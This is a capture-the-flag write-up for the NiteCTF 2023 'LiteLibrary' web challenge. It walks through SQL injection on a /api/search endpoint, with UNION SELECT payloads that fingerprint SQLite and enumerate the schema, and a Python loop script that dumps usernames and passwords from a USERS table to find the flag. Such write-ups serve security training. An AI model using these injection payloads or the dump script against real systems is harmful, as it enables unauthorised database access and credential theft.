NiteCTF 2023 : LiteLibrary
Context
We're sent a website (http://litelibrary.web.nitectf.live) that serves as a library.
Writeup
On the website, we can find an API endpoint at /api/search
and by trying /api/search?q=aaa'+OR+1=1
. We find out that there is an SQL Injection vulnerability. We can also try a few things to find what dbms is used and this request /api/search?q='+union+select+sqlite_version(),2,3,4,5--
tells us that it is using a sqlite database.
Moreover, if we try to request this we can deduce the database's tables with this request :
Request:
GET /api/search?q=aaaaaa'+union+select+table,2,3,4,5+from+sqlite_schema+order+by+name+limit+1,1-- HTTP/1.1
Response :
[{"title":"CREATE TABLE USERS (liteId TEXT, liteUsername TEXT, gender TEXT, liteNick TEXT, litePass TEXT, dateCreated TEXT)","author":2,"pages":3,"imageLink":4,"link":5}]
So in order to extract the table users, we can use this script that I wrote :
import requests
api_url_s = "http://litelibrary.web.nitectf.live/api/search?q=aaaaa'+UNION+SELECT+liteUsername,liteId,liteNick,litePass,4+FROM+USERS+ORDER+BY+liteId+LIMIT+"
api_url_e = ",1--"
for i in range(0,100):
r = requests.get(api_url_s+str(i)+api_url_e)
if r.status_code == 200 :
if r.text.find("nite{") != -1:
print(f"{i}:",r.text)
And running this script, we find the flag :
$ py extract.py
55: [{"title":"madmaxfuryyyyy2344","author":"28582015-49f6-43f8-9aad-a9e5d4a5687f","pages":"nite{t00_l1t3_huh_50m30n3_g37_an71_g2av17y_0v3r_h3r3}","imageLink":"yeehaaw1amMadx","link":4}]